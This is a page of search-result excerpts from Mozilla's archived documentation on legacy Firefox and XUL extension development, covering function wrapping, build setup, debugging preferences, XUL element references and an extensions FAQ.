... code is hard to read and by that hard to maintain and review. (the example is a quite simple one. in real life such code is often far more complex) the code might break in the future, as certain assumptions might not longer be true, for example the function signature may change (auri from above becomes aurl) or the function is replaced by a short-hand/arrow function: function addtab(auri) tabbrowser.addtab(auri); var addtab = (auri) => tabbrowser.addtab(auri); same as with "passing functions/code as strings" above, patching a function to with fragments of externally retrieved data will create security vulnerabilities. alternative: replace + function.apply() you may replace the original function with a new function, keeping a reference to the original function which you then call from...
....apply() you may replace the original function with a new function, keeping a reference to the original function which you then call from the new one. // wrap in an anonymous function (which is called immediately). // this will encapsulate local variables such as _original and // not pollute the global namespace. (function() { // keep a reference to the original function. var _original = gbrowser.addtab; // override a function. gbrowser.addtab = function() { // execute some action before the original function call. try { myaddon.onaddtab(arguments[0]); } catch (ex) { /* might handle this */ } // execute original function. var rv = _original.apply(gbrowser, arguments); // execute some action afterwards. try { myaddon.doneaddtab(rv); } ...
Setting Up a Development Environment - Archive of obsolete content
her ahead. let's try and build the xpi from the command line first. open the command line program in your system and navigate to the src directory in your project. run the following command: make that's it. if everything went well, you should see an output similar to this: creating xpi file. adding: install.rdf (deflated 50%) adding: chrome.manifest (deflated 50%) adding: content/browseroverlay.js (deflated 42%) adding: content/browseroverlay.xul (deflated 69%) adding: skin/browseroverlay.css (stored 0%) adding: locale/browseroverlay.dtd (deflated 52%) adding: locale/browseroverlay.properties (stored 0%) creating xpi file. done! build finished successfully. if you inspect the bin directory, you should see the xulschoolhello2.xpi file. if you run make again, you'll...
...es. you can see the names of the files involved, which gives you a good starting point when looking into the mozilla source. you can even change styles, attributes and execute javascript code in it, although that's not completely reliable. javascript debugger the name says it all. the venkman javascript debugger is a great way to trace execution of your javascript code. to debug extension and browser code, right-click on the loaded scripts panel and uncheck exclude browser files. the list of loaded scripts will grow long to include all of the scripts in firefox. having our file naming conventions prove very useful in this case. you can set breakpoints, step in and out of methods, and even get profiling information from javascript execution. you can inspect variables, keep track of watch exp...
...everything you add makes a big difference. to make sure your extension doesn't leak, you should use the leak monitor extension when testing it. always test opening and closing windows. leaks usually surface when doing this. exercise set up a new firefox profile for xul school. ...
... install the firebug extension. open the firebug window and go to an ajax-heavy page such as gmail or facebook. open and enable the net tab. try to identify what is going on with some of the requests being sent. ...
Setting up an extension development environment - Archive of obsolete content
ersion needs to be set in install.rdf javascript.options.showinconsole = true. logs errors in chrome files to the error console. nglayout.debug.disable_xul_cache = true. disables the xul cache so that changes to windows and dialogs do not require a restart. this assumes you're using directories rather than jars. changes to xul overlays will still require reloading of the document overlaid. browser.dom.window.dump.enabled = true. enables the use of the dump() statement to print to the standard console. see window.dump for more info. you can use nsiconsoleservice instead of dump() from a privileged script. javascript.options.strict = true. enables strict javascript warnings in the error console. note that since many people have this setting turned off when developing, you will see lots of...
...le. note that since many people have this setting turned off when developing, you will see lots of warnings for problems with their code in addition to warnings for your own extension. you can filter those with console2. devtools.chrome.enabled = true. this enables to run javascript code snippets in the chrome context of the scratchpad from the tools menu. ...
...g, you will see lots of warnings for problems with their code in addition to warnings for your own extension. you can filter those with console2. devtools.chrome.enabled = true. this enables to run javascript code snippets in the chrome context of the scratchpad from the tools menu. don't forget to switch from content to browser as context. devtools.debugger.remote-enabled = true. this adds a "browser debugger" entry to the "web developer" submenu of the "tools" menu. the browser debugger can be used to debug the javascript code of extensions. the devtools.chrome.enabled preference must also be set to true for the browser debugger to be enabled. devtools.debugger.prompt-connection = false. this prevents the browser debugger from prompting for connection permission every time. extensions.l...
...detect deprecated code use. warning: never set nglayout.debug.disable_xul_fastload to true in a production environment; it exists solely to aid in debugging. in particular, add-ons should never change this preference. note: the error console is disabled by default starting in gecko 2.0. you can re-enable it by changing the devtools.errorconsole.enabled preference to true and restarting the browser. with this, javascript.options.showinconsole is also set to true by default. development extensions these extensions may help you with your development. dom inspector, used to inspect and edit the live dom of any web document or xul application (firefox and thunderbird) venkman, a javascript debugger (firefox version, thunderbird version) thunderbird developer tools, enables debugging t...
Add-ons - Archive of obsolete content
add-ons. you can use various standard web technologies: javascript, html, and css, to create the add-ons. the sdk includes javascript apis, which you can use to create add-ons and tools for creating, running, testing, and packaging add-ons. bookmarks.export() exports bookmarks to an html bookmark file. bookmarks.import() imports bookmarks from an html bookmark file. bootstrapped extensions browser.bookmarks.export( function() {...} // optional function ) code snippets … creating custom firefox extensions with the mozilla build system there is a wealth of material on creating extensions for firefox. all of these documents currently assume, however, that you are developing your extension using xul and javascript only. for complex extensions, it may be necessary to create components i...
.... it contains metadata identifying the add-on, providing information about who created it, where more information can be found about it, which versions of what applications it is compatible with, how it should be updated, and so on. interaction between privileged and non-privileged pages an easy way to send data from a web page to an extension is by using custom dom events. in your extension's browser.xul overlay, write code which listens for a custom dom event. here we call the event myextensionevent. legacy add-ons this section contains links to documentation for legacy technology for add-on development, including: legacy extensions for firefox for android add-ons that work with desktop firefox do not automatically work in firefox for android: overlay extensions this page contains li...
...n firefox for android: overlay extensions this page contains links to documentation for the approach to developing extensions for gecko-based applications which uses: performance best practices in extensions one of firefox's great advantages is its extreme extensibility. extensions can do almost anything. there is a down side to this: poorly written extensions can have a severe impact on the browsing experience, including on the overall performance of firefox itself. this article offers some best practices and suggestions that can not only improve the performance and speed of your extension, but also of firefox itself. security best practices in extensions this document is intended as a guide for developers to promote best practices in securing your extension. your goal is to keep your u...
...you don't follow them then your add-on will not be approved on mozilla add-ons. other items are recommendations. the difference will be clearly flagged. setting up an extension development environment this article provides suggestions for how to set up your mozilla application for extension development. these details apply to firefox, thunderbird, and seamonkey (version 2.0 and above). tabbed browser here you should find a set of useful code snippets to help you work with firefox's tabbed browser. the comments normally mark where you should be inserting your own code. techniques … ...
Underscores in class and ID Names - Archive of obsolete content
learn why this is so, and how to keep your sites from being bitten by this problem. this technical note examines the use of underscores in css, and why they should be generally avoided in most circumstances. it is a fairly common practice in many programming languages to use the underscore character (_) in the place of a "space" in variable and function names. ...
...ting, technically permitted in class and id names, there are many historical and practical reasons why they should be avoided. the css1 specification, published in its final form in 1996, did not allow for the use of underscores in class and id names unless they were "escaped." an escaped underscore would look something like this: p.urgent\_note {color: maroon;} this was not well supported by browsers at the time, however, and the practice has never caught on. css2, published in 1998, also forbade the use of underscores in class and id names. however, errata to the specification published in early 2001 made underscores legal for the first time. this unfortunately complicated an already complex landscape. support realities between mistakes in implementation and changes to the specification...
... at the time, however, and the practice has never caught on. css2, published in 1998, also forbade the use of underscores in class and id names. however, errata to the specification published in early 2001 made underscores legal for the first time. this unfortunately complicated an already complex landscape. support realities between mistakes in implementation and changes to the specification, browser behavior with regard to underscores is rather convoluted. netscape 6.x permits underscores and escaped underscores. navigator 4.x honored the restriction against underscores, and so any class or id name with an underscore will be ignored by navigator 4.x, so the associated styles will never be applied. it also ignored escaped underscores. internet explorer 4.x and 5.x for windows erroneous...
...his point until the errata was published. the same is true of ie4.x and 5.x for macintosh. internet explorer 6 for windows, published after the errata, permits underscores and escaped underscores. opera 3.x through 5.x does not recognize underscores or escaped underscores, and so acts the same as navigator 4.x in this regard. recommendation because support is so inconsistent between current browsers as well as older releases, authors are strongly advised to avoid using underscores in class and id names. a common substitute is the hyphen character (-), as in: p.urgent-note {color: maroon;} many authors choose instead to use camel case names such as this: p.urgentnote {color: maroon;} if the initial-cap approach is used, however, remember that class and id names are also supposed to be ...
Creating a dynamic status bar extension - Archive of obsolete content
is handled by the javascript code in the file stockwatcher.js. unlike our previous sample, this one is implemented as an object. we do this because in future samples in this series, we're going to be doing things that are easier to do if our extension is implemented that way. ...
...nction when a new browser window is opened: window.addeventlistener("load", function(e) { stockwatcher.startup(); }, false); our new extension has two primary functions: startup() and refreshinformation(). the refreshinformation() function contains another function, called inforeceived(). the following sections will examine these one by one. startup() the startup() function is called when a new browser window is opened. we end up reloading data from each of the windows once in 10 minutes - fixing this by creating a js component responsible for communication with the server is a good idea for one of the future articles startup: function() { this.refreshinformation(); window.setinterval(this.refreshinformation, 10*60*1000); }, this starts by calling our refreshinformation() function, which...
...() { this.refreshinformation(); window.setinterval(this.refreshinformation, 10*60*1000); }, this starts by calling our refreshinformation() function, which is responsible for fetching and displaying stock ticker information in the status bar panel. we do this so that upon loading, the stock information is displayed as soon as possible. ...
...refreshinformation: function() { var httprequest = null; var fullurl = 'http://quote.yahoo.com/d/quotes.csv?f=sl1d1t1c1ohgv&e=.csv&s=goog'; // ... ...
Getting the page URL in NPAPI plugin - Archive of obsolete content
then you can just refuse to do anything, if you don't like the url, or you can compare it with the other url you want to contact. ...
... *locationobj = variantvalue.value.objectvalue; // create a "href" identifier. identifier = npn_getstringidentifier( "href" ); // get the location property from the location object. bool b2 = npn_getproperty( m_pnpinstance, locationobj, identifier, &variantvalue ); this code is just a rough example. remember to release any references after using them. ...
...e any references after using them. tradeoffs: uses npapi only works in most browsers does not work in mozillas older than firefox 1.0 via npp_newstream from braden mcdaniel: if you want the uri of the resource for which the plug-in is invoked, the most npapi-friendly way to do that is to get it from the npstream that is passed to npp_newstream. tradeoffs: npapi only probably works in all browsers, all versions is sort of backwards (?) advantages / disadvantages ? via dom from benjamin smedberg: the npapi gives you the ability to get access to the nsidomwindow object which contains the current plugin via the npnvdomelement enum passed to npn_getvalue. this returns an addrefed nsidomelement interface pointer from which you can call .ownerdocument (on nsidomnode), queryinterface that o...
...api gives you the ability to get access to the nsidomwindow object which contains the current plugin via the npnvdomelement enum passed to npn_getvalue. this returns an addrefed nsidomelement interface pointer from which you can call .ownerdocument (on nsidomnode), queryinterface that object to nsidom3document, and call .documenturi. tradeoffs: is inherently incompatible with other non-mozilla browsers (i.e. does not work in opera, safari etc.) compatible with older versions of the mozilla (probably back to mozilla 1.0) requires c++ ...
Repackaging Firefox - Archive of obsolete content
r.properties for preferences which need to be localized, there needs to be an entry in each of the properties files with the desired value for that locale. if the value is the same for *all* locales, it can be set in the partner.js file itself, see the section "preferences" for more information. partner-bookmarks.xml default bookmarks are set here. and that's all you need! take a moment and browse through the files, and don't forget to check mdc for reference material. locales there is a difference between the locales you plan to distribute installers for (and will therefore need to repack), and the locales supported by your dex. if possible, we recommend you have your dex support the full set of locales that firefox supports. the reason is that if you create and ship a dex that suppor...
...lla.partner.id=<name> app.partner.<name>=<name> app.distributor=<name> app.distributor.channel=<name> other preferences some settings are commonly set in partner distributions. this is not meant to be a comprehensive list of preferences, however. ...
...<name>=<name> app.distributor=<name> app.distributor.channel=<name> other preferences some settings are commonly set in partner distributions. this is not meant to be a comprehensive list of preferences, however. ...
...note that this does not change the order of the search engines in the drop-down, only selects the default. capitalization is significant. repackaging firefox once you have all the required pieces in place, all you need to do is launch the repackager tool and fill in the fields to set up your customized installers. ...
Remotely debugging Firefox for Metro - Archive of obsolete content
t. this can be a security risk, especially if you also set the force-local preference to false.) set up firefox for desktop on the desktop, remote debugging is enabled by a setting in the toolbox. open the toolbox, click the "settings" button in the toolbar, and check "enable remote debugging" in the settings tab. if you're using a version of firefox older than 27, you'll need to restart the browser for the setting to take effect. connecting on the desktop on the desktop, open the web developer menu and select "connect...". you'll see a page that looks like this: if you are running firefox for metro on the same computer with the default settings, use the default host (localhost) and port (6000), and press the "connect" button. if you are connecting to firefox for metro on a differ...
... you'll see a page that looks like this: if you are running firefox for metro on the same computer with the default settings, use the default host (localhost) and port (6000), and press the "connect" button. if you are connecting to firefox for metro on a different computer or a different port, enter the appropriate hostname and port number and then press "connect." in the windows 8 (metro) browser next you'll see a dialog in firefox for metro asking you to confirm the connection. press the "ok" button to continue. tip: if the remote connection times out, flip to the desktop via the desktop tile and check if windows firewall has thrown up an incoming connection permissions prompt. on the desktop next, the desktop shows you a dialog that looks something like this: this is asking wh...
...asking you to confirm the connection. press the "ok" button to continue. tip: if the remote connection times out, flip to the desktop via the desktop tile and check if windows firewall has thrown up an incoming connection permissions prompt. on the desktop next, the desktop shows you a dialog that looks something like this: this is asking whether you want to debug web content running in a browser tab, or to debug the browser code itself. you'll see one entry under "available remote tabs" for each open tab, and clicking it will attach the debugging tools to the web content hosted by that tab. if you want to debug your web content, you'll choose the relevant content tab. you'll see one entry under "available remote processes": this is the browser process itself. you'll choose this opt...
...r code itself. you'll see one entry under "available remote tabs" for each open tab, and clicking it will attach the debugging tools to the web content hosted by that tab. if you want to debug your web content, you'll choose the relevant content tab. you'll see one entry under "available remote processes": this is the browser process itself. you'll choose this option if you want to debug the browser's own code. let's choose to attach to the mozilla.org website. the toolbox will open in its own window, attached to the firefox for metro tab that's currently hosting mozilla.org: the toolbox, and the tools it hosts (including the console, debugger, style editor, profiler, etc.), work in just the same way as they do when attached to local content. ...
Using Breakpoints in Venkman - Archive of obsolete content
d yourself and are responsible for troubleshooting—you're going to need breakpoints. types of breakpoints venkman has two types of breakpoints. the first, and most common, is called the "hard" breakpoint. a hard breakpoint represents an actual trap instruction included in the pseudocode of a compiled function. hard breakpoints can only exist in the context of a function currently "live" in the browser. hard breakpoints are the ones that actually stop program execution. the second type of breakpoint, the "future" breakpoint, represents a promise from venkman to set a hard breakpoint as soon as it is possible. future breakpoints are used when you want to stop in a script that has not yet been compiled. the most common use of future breakpoints is to stop in a "top level" script (script that ex...
... breakpoints clicking on one of these dots in the source code view will set a breapoint at that line. venkman will stop before the line executes. when a breakpoint is set, the margin will change to the letter "b", as in figure 2. if you execute this code again after having set this breakpoint, venkman will stop at line 81. ...
...eapoint at that line. venkman will stop before the line executes. when a breakpoint is set, the margin will change to the letter "b", as in figure 2. if you execute this code again after having set this breakpoint, venkman will stop at line 81. (note: by default, venkman hides files file that appear to be part of the browser core; this includes extensions. to debug an extension, uncheck "exclude browser files" on the debug menu and your installed extension files should appear in the loaded scripts list.) venkman also indicates that one or more breakpoints have been set in the loaded scripts view, where red dots appear next to the files in which breakpoints have been set, along with the line number where the function begins whose code is being stopped. using breakpoints to debug when you set ...
...f debugging a script or software program is the ability to examine variables—function return values, errors, counters, variable scopes—as they change over the course of the script execution. the onflipx function in figure 1, for example, uses the variable newsign to figure out what image to use for the fish. when you set a breakpoint at line 81, you can start animation on the web page in the browser window and see venkman stop execution as it enters the onflipx function. stopped there, venkman displays the value of the newsign variable as "1" in the local variables view. using breakpoints and the interactive view, you can change the values of the variables that venkman displays (only in the context of the debugging environment itself) and see how these changes affect the execution of the ...
Property - Archive of obsolete content
« xul reference accessible accessibletype accesskey align allnotifications allowevents alwaysopenpopup amindicator applocale autocheck autofill autofillaftermatch boxobject browsers builder builderview buttons canadvance cangoback cangoforward canrewind checked checkstate child children classname clickselectsall clientheight clientwidth collapsed color columns command commandmanager completedefaultindex container contentdocument contentprincipal contenttitle contentview contentvieweredit contentviewerfile contentwindow contextmenu control controller controllers crop current currentindex currentitem currentnotification currentpage currentpane currentset currenturi custom...
...servalue height hidden hideseconds highlightnonmatches homepage hour hourleadingzero id ignoreblurwhilesearching image increment inputfield inverted is24hourclock ispm issearching iswaiting itemcount label labelelement lastpermanentchild lastselected left linkedpanel listboxobject locked markupdocumentviewer max maxheight maxlength maxrows maxwidth menu menuboxobject menupopup min minheight minresultsforpopup minwidth minute minuteleadingzero mode month monthleadingzero name next nomatch notificationshidden object observes onfirstpage onlastpage open ordinal orient pack pagecount pageid pageincrement pageindex pagestep parentcontainer palette persist persistence ...
...tor popup popupboxobject popupopen position predicate preferenceelements preferencepanes preferences priority radiogroup readonly readonly ref resource resultspopup scrollboxobject scrollincrement scrollheight scrollwidth searchbutton searchcount searchlabel searchparam searchsessions second secondleadingzero securityui selected selectedbrowser selectedcount selectedindex selecteditem selecteditems selectedpanel selectedtab selectionend selectionstart selstyle seltype sessioncount sessionhistory showcommentcolumn showpopup size smoothscroll spinbuttons src state statusbar statustext stringbundle strings style subject suppressonselect tabcontainer tabindex tabs tabscrolling ...
...tcolumn showpopup size smoothscroll spinbuttons src state statusbar statustext stringbundle strings style subject suppressonselect tabcontainer tabindex tabs tabscrolling tabpanels tag textlength textvalue timeout title toolbarname toolbarset tooltip tooltiptext top treeboxobject type uri useraction value valuenumber view webbrowserefind webnavigation webprogress width wizardpages wraparound year yearleadingzero related dom element properties dom:element.attributes dom:element.baseuri dom:element.childelementcount dom:element.childnodes dom:element.children dom:element.clientheight dom:element.clientleft dom:element.clienttop dom:element.clientwidth dom:element.clonenode dom:element.fi...
Template and Tree Listeners - Archive of obsolete content
tree widget informs the view when certain operations are performed that might affect the data. the tree view handles all of these operations, but allows an observer to be attached which is invoked during these operations. for instance, the observer may have an ontoggleopenstate method which will be called when the user opens or closes a row. the tree builder will handle the adding or removing of rows, but will call the observer so that it can perform some task. the tree builder observer implements the nsixultreebuilderobserver interface and may be attached to a tree builder using the builder's addobserver method. you can add more than one observer if needed, and can remove them again with the builder's removeobserver method. the observer is always invoked before the appropriate operation is p...
...bserver method. you can add more than one observer if needed, and can remove them again with the builder's removeobserver method. the observer is always invoked before the appropriate operation is performed. for instance, the ontoggleopenstate method of any observers will be called before the tree item is opened. after the observers have finished, the tree builder opens the row and adds any child rows inside. note that you cannot cancel the operation from within the observer. some useful functions of the observer are the drag and drop related callbacks to handle when an item is dragged onto the tree. this makes handling dragging onto a tree fairly simple. all you need to do is implement three methods, candropon, candropbeforeafter and ondrop. the tree observer receives drag related events in t...
..., candropon, candropbeforeafter and ondrop. the tree observer receives drag related events in three places: over a container row, before a row, and after a row. this allows you to handle dragging with more flexibility. for example, in some situations you may want to require dragging onto a folder type of row. in other situations, you may wish to allow items to be dragged between (before or after) rows. this would be the situation if you were dragging items from that tree around, for instance dragging a bookmark from one location to another. the tree widget will draw a small line between the rows while dragging. all you need to do is add a tree builder observer which returns true for the candrop method. note that the 'drag on' case only allows dragging onto containers, not ordinary rows. var tr...
...here for compatibility with older versions; this function checks the orientation and returns the opposite. this works as the 'on' value is 0 and the 'between' values are -1 and 1. obviously, this code is much simpler than what we would really want to use -- we should be checking what is being dragged to make sure that it is compatible with the tree. or, we might want to allow dropping on specific rows only; the drop methods are supplied with an index argument so we can check for this. « previousnext » ...
textbox (Toolkit autocomplete) - Archive of obsolete content
low will create an autocomplete textbox that will search the user's history. ...
...put, onsearchcomplete, ontextentered, ontextreverted, open, readonly,showcommentcolumn, showimagecolumn, size, tabindex, tabscrolling, timeout, type, value properties accessibletype, completedefaultindex, controller, crop, disableautocomplete, disablekeynavigation, disabled, editable, focused, forcecomplete, highlightnonmatches, ignoreblurwhilesearching, inputfield, label, maxlength, maxrows, minresultsforpopup, open, popup, popupopen, searchcount, searchparam, selectionend, selectionstart, showcommentcolumn, showimagecolumn,size, tabindex, tabscrolling, textlength, textvalue, timeout, type, value methods getsearchat, onsearchcomplete, ontextentered, ontextreverted, select, setselectionrange examples <textbox type="autocomplete" autocompletesearch="history"/> attributes ...
... the tooltip text for the textbox. label type: string the label that will appear on the element. if this is left out, no text appears. for an editable menuitem element the value of this attribute is copied to the menulist.value property upon user selection of the menuitem. maxlength type: integer the maximum number of characters that the textbox allows to be entered. maxrows type: integer the number of rows to show in the results list at a time. a scrollbar will appear so the user can scroll through the remaining items. minresultsforpopup new in thunderbird 3requires seamonkey 2.0 type: integer the minimum number of results that must be returned for the popup to be displayed. the default value is 1. new in thunderbird 3requires seamonkey 2...
... inputfield type: textbox element in mozilla, the xul textbox is implemented as a wrapper around an html input element. this read only property holds a reference to this inner input element. label type: string gets and sets the value of the label attribute. maxlength type: integer the maximum number of characters that the textbox allows to be entered. maxrows type: integer gets and sets the value of the maxrows attribute. minresultsforpopup type: integer gets and sets the value of the minresultsforpopup (or minresultsforpopup) attribute. open type: boolean gets and sets the value of the open attribute. popup new in thunderbird 14 requires seamonkey 2.11 type: popup element should be set to the popup element tha...
Textbox (XPFE autocomplete) - Archive of obsolete content
attributes accesskey, alwaysopenpopup, autocompletesearch, autocompletesearchparam, autofill, autofillaftermatch, autofill, completedefaultindex, crop, disableautocomplete, disableautocomplete, disabled, disablehistory, enablehistory, focused, forcecomplete, forcecomplete, highlightnonmatches, ignoreblurwhilesearching, ignoreblurwhilesearching, inputtooltiptext, label, maxlength, maxrows, minresultsforpopup, minresultsforpopup, nomatch, onchange, onerrorcommand, oninput, onsearchcomplete, ontextcommand, ontextentered, ontextrevert, ontextreverted, open, readonly, searchsessions, showcommentcolumn, showcommentcolumn, showpopup, size, tabindex, tabscrolling, tabscrolling, timeout, type, useraction, value properties accessible, alwaysopenpopup, autofill, autofillafte...
...ntcolumn, showcommentcolumn, showpopup, size, tabindex, tabscrolling, tabscrolling, timeout, type, useraction, value properties accessible, alwaysopenpopup, autofill, autofillaftermatch, completedefaultindex, crop, disableautocomplete, disabled, editable, focused, forcecomplete, highlightnonmatches, ignoreblurwhilesearching, inputfield, issearching, iswaiting, label, maxlength, maxrows, minresultsforpopup, nomatch, open, popup, popupopen, resultspopup, searchcount, searchparam, searchsessions, selectionend, selectionstart, sessioncount, showcommentcolumn, showpopup, size, tabindex, tabscrolling, textlength, textvalue, timeout, type, useraction, value methods addsession, clearresults, getdefaultsession, getresultat, getresultcount, getresultvalueat, getsession, g...
... the tooltip text for the textbox. label type: string the label that will appear on the element. if this is left out, no text appears. for an editable menuitem element the value of this attribute is copied to the menulist.value property upon user selection of the menuitem. maxlength type: integer the maximum number of characters that the textbox allows to be entered. maxrows type: integer the number of rows to show in the results list at a time. a scrollbar will appear so the user can scroll through the remaining items. minresultsforpopup obsolete since gecko 1.9.1 type: integer the minimum number of results that must be returned for the popup to be displayed. the default value is 1. a zero value will always open the popup unless the textb...
...erwise it returns the placeholder or emptytext property. the getter is mostly useful for screen readers. note: prior to firefox 3, and always in thunderbird and seamonkey, the label property of an autocomplete textbox returns its value, for compatibility with the menulist element. maxlength type: integer the maximum number of characters that the textbox allows to be entered. maxrows type: integer gets and sets the value of the maxrows attribute. minresultsforpopup type: integer gets and sets the value of the minresultsforpopup (or minresultsforpopup) attribute. nomatch type: boolean this property will be set to true if the last search resulted in no matches. open type: boolean gets and sets the value of the open attribute. popup ...
The Joy of XUL - Archive of obsolete content
the operating systems on which mozilla runs. considering the broad range of platforms that currently support mozilla, this may be one of the most compelling features of xul as a technology for building applications. since xul provides an abstraction of user interface components, it delivers on the promise of write-once, run-anywhere. the user interface for all of mozilla's core applications (browser, messenger, address book, etc.) is written in xul with one single code base supporting all mozilla platforms. separation of presentation from application logic one of the major downfalls of most web applications is the tight coupling of user interface elements with client application logic. this poses a significant problem in team environments because the skills required to deve...
... could be installed directly over the internet by clicking a link. conclusion mozilla, featuring xul, delivers a compelling technology for developing cross-platform applications with the same rich user interface and end user experience as native desktop applications. designers who are experienced in building web applications using w3c standard technologies can leverage this experience from the browser directly to the desktop. before the web became the standard for delivering applications to users across disparate desktops, this problem was solved with cross-platform client-server tools. but these offerings were invariably proprietary, cost a substantial amount of money per developer, and had runtime license fees that kept you humble and tightly tethered to the vendor. mozilla delivers much ...
..., xul could fill an interesting void for technologies such as java j2ee and microsoft .net which focus on enabling network access to distributed objects. dynamic application logic can benefit significantly from a ui presentation layer that is standards-based, scriptable, extensible, and similarly distributable over the internet. xul blurs the distinction between desktop application and internet browser apps because it is firmly entrenched in both worlds. some web applications will benefit from being migrated to xul because of the enhanced ui capabilities, consistent implementation of the specification across supported platforms, and access to native resources such as shared libraries and the local file system. whether you need to migrate an existing web application to the desktop, are lookin...
...ilities, consistent implementation of the specification across supported platforms, and access to native resources such as shared libraries and the local file system. whether you need to migrate an existing web application to the desktop, are looking for a technology that will enable you to easily port your applications to multiple platforms, or want to integrate your own cool features into the browser, xul warrants serious consideration. see also xul documentation on mdc, including the xul tutorial and the xul reference xul overlays xbl documentation: xbl introduction, xbl reference xpcom documentation xpconnect (scriptable components) documentation. see also http://www.mozilla.org/scriptable/ extensions documentation, including the building an extension introductory tutorial mozil...
Custom toolbar button - Archive of obsolete content
ify the versions where the extension works. the last section in the file specifies that this extension adds content to the application. 4. create a plain text file named chrome.manifest. ...
... where the extension works. the last section in the file specifies that this extension adds content to the application. 4. create a plain text file named chrome.manifest. ...
...nto the new file: <?xml version="1.0" encoding="utf-8"?> <?xml-stylesheet type="text/css" href="chrome://custombutton/content/button.css"?> <!doctype overlay > <overlay id="custombutton-overlay" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script type="application/javascript" src="chrome://custombutton/content/button.js"/> <!-- firefox --> <toolbarpalette id="browsertoolbarpalette"> <toolbarbutton id="custom-button-1"/> </toolbarpalette> <!-- thunderbird mail --> <toolbarpalette id="mailtoolbarpalette"> <toolbarbutton id="custom-button-1"/> </toolbarpalette> <!-- thunderbird compose --> <toolbarpalette id="msgcomposetoolbarpalette"> <toolbarbutton id="custom-button-1"/> </toolbarpalette> <!-- thunderbird address book --> <toolbarpalette id="a...
...ly. to see the effect of any change that you make, restart the application. advanced troubleshooting if you have some technical knowledge, then you can use the application's javascript console to see error messages. however, you might see messages that are unhelpful or confusing, or that come from other parts of the application. to open the javascript console, choose tools – web developer- browser console, and enable js. or use short cut "ctrl + shift + j" messages in the javascript console can provide information about javascript, xul or css files. note: the preference setting javascript.options.strict imposes restrictions that are not appropriate for the simple scripts in this tutorial. if you choose to use this setting, either ignore the warnings that it generates, or change the cod...
The Chrome URL - Archive of obsolete content
which theme or locale is used and none specify a specific directory. chrome://messenger/content/messenger.xul chrome://messenger/content/attach.js chrome://messenger/skin/icons/folder-inbox.gif chrome://messenger/locale/messenger.dtd to refer to subdirectories, you can just add them to the end of the chrome url. the following url will refer to the bookmarks window, listed for firefox: chrome://browser/content/bookmarks/bookmarksmanager.xul you can enter chrome urls anywhere normal urls can be used. you can even enter them directly into the url bar in a firefox browser window. if you enter the url mentioned above into the browser's address bar, you should see that window appear like a web page might do and for the most part will function as if it was a separate window. some dialog boxes may ...
...for messenger, messenger.xul would be selected. ...
...m the window that opened them. you will also see chrome urls without specified filenames, such as: chrome://browser/content/ in this case, only the package name and part is specified. this type of reference will automatically select an appropriate file from that right directory. for content, a file with the same name of the package and a xul extension is selected. in the above example, the file browser.xul is selected. for messenger, messenger.xul would be selected. when creating your own applications, you will want to create a file for your main window with the same name as the package, so it can be referred to using this shorter form. ...
...for a skin, the file <package name>.css is selected; for a locale, the file <package name>.dtd is selected. remember, the chrome url is not related to where it is located on disk. the first two pieces of the chrome url are the package name and the part (either content, skin, or locale). ...
XUL Reference - Archive of obsolete content
« xul reference « alphabetical list of all xul elements action arrowscrollbox assign bbox binding bindings box broadcaster broadcasterset button browser checkbox caption clicktoscroll colorpicker column columns commandset command conditions content datepicker deck description dialog dialogheader dropmarker editor grid grippy groupbox hbox iframe image key keyset label listbox listcell listcol listcols listhead listheader listitem member menu menubar menuitem menulist menupopup menuseparator notification notificationbox observes overlay page panel param popupset preference preferences prefpane prefwindow progressmeter query queryset radio radiogroup resizer richlistbox richlistitem row rows rule scale scri...
... notification notificationbox observes overlay page panel param popupset preference preferences prefpane prefwindow progressmeter query queryset radio radiogroup resizer richlistbox richlistitem row rows rule scale script scrollbar scrollbox scrollcorner separator spacer spinbuttons splitter stack statusbar statusbarpanel stringbundle stringbundleset tab tabbrowser (firefox-only starting with firefox 3/gecko 1.9) tabbox tabpanel tabpanels tabs template textnode textbox textbox (firefox autocomplete) textbox (mozilla autocomplete) timepicker titlebar toolbar toolbarbutton toolbargrippy toolbaritem toolbarpalette toolbarseparator toolbarset toolbarspacer toolbarspring toolbox tooltip tree treecell treechildren treecol treecols tr...
...te toolbarseperator toolbarspring tabs and grouping tab tabbox tabpanel tabpanels tabs controls --- text and images label caption image lists --- trees --- layout --- templates --- scripting --- helper elements other xul lists dialog overlay page window wizard wizardpage preference preferences prefpane prefwindow browser tabbrowser editor iframe titlebar resizer statusbar statusbarpanel dialogheader notification notificationbox menubar menu menuitem menuseparator menupopup panel tooltip popupset toolbar toolbarbutton toolbargrippy toolbaritem toolbarpalette toolbarseparator toolbarset toolbarspacer toolbarspring toolbox tabbox tabs tab tabpanels tabpanel groupbox caption sepa...
...ogressmeter radio radiogroup scale splitter textbox textbox (firefox autocomplete) textbox (mozilla autocomplete) timepicker description label image listbox listitem listcell listcol listcols listhead listheader richlistbox richlistitem tree treecell treechildren treecol treecols treeitem treerow treeseparator box hbox vbox bbox deck stack grid columns column rows row scrollbox action assign binding bindings conditions content member param query queryset rule template textnode triple where script commandset command broadcaster broadcasterset observes key keyset stringbundle stringbundleset arrowscrollbox dropmarker grippy scrollbar scrollcorner spinbuttons all attributes all properties all methods attributes defined for...
Extentsions FAQ - Archive of obsolete content
nts, and all of the right-click context menu support is present so it should meet my needs. what is the valid location and things needed to to release a mozilla extension on mozallia site? you must remove updateurl from the install.rdf and use a known to amo minversion/maxversion. no confirmation that the answer given worked yet. is it possible to open the url in a new tab? var tab = gbrowser.addtab( url ); // and if you want it to load in the foreground: gbrowser.selectedtab = tab; is it possible to read the html-code of the current url/site? yes, this is possible. use the dom api (http://www.w3schools.com/dom/default.asp has a good tutorial). not the best answer but a good starting point for the question asker to do some research towards the answer. why does his extension ...
...dummy" object when an instance of "@mozilla.org/helperapplauncherdialog;1" is created? you can write a dummy xpcom component implementing the necessary interfaces and register it with the sane contract id. http://developer.mozilla.org/en/docs...pcom_component would anyone be able to suggest the best way to do source level debugging in a firefox extension? in the debug menu, uncheck exclude browser files. use the debugger by typing in a command like this: /break chrome://myextension/content/myfile.js 123 then i suggest using flat chrome. if you turn off the xul cache you don't even need to restart to see changes, simply open a new window. how can i backup some of the files before upgrade an extension and put them back afterward? do i need to write an installation script to achieve th...
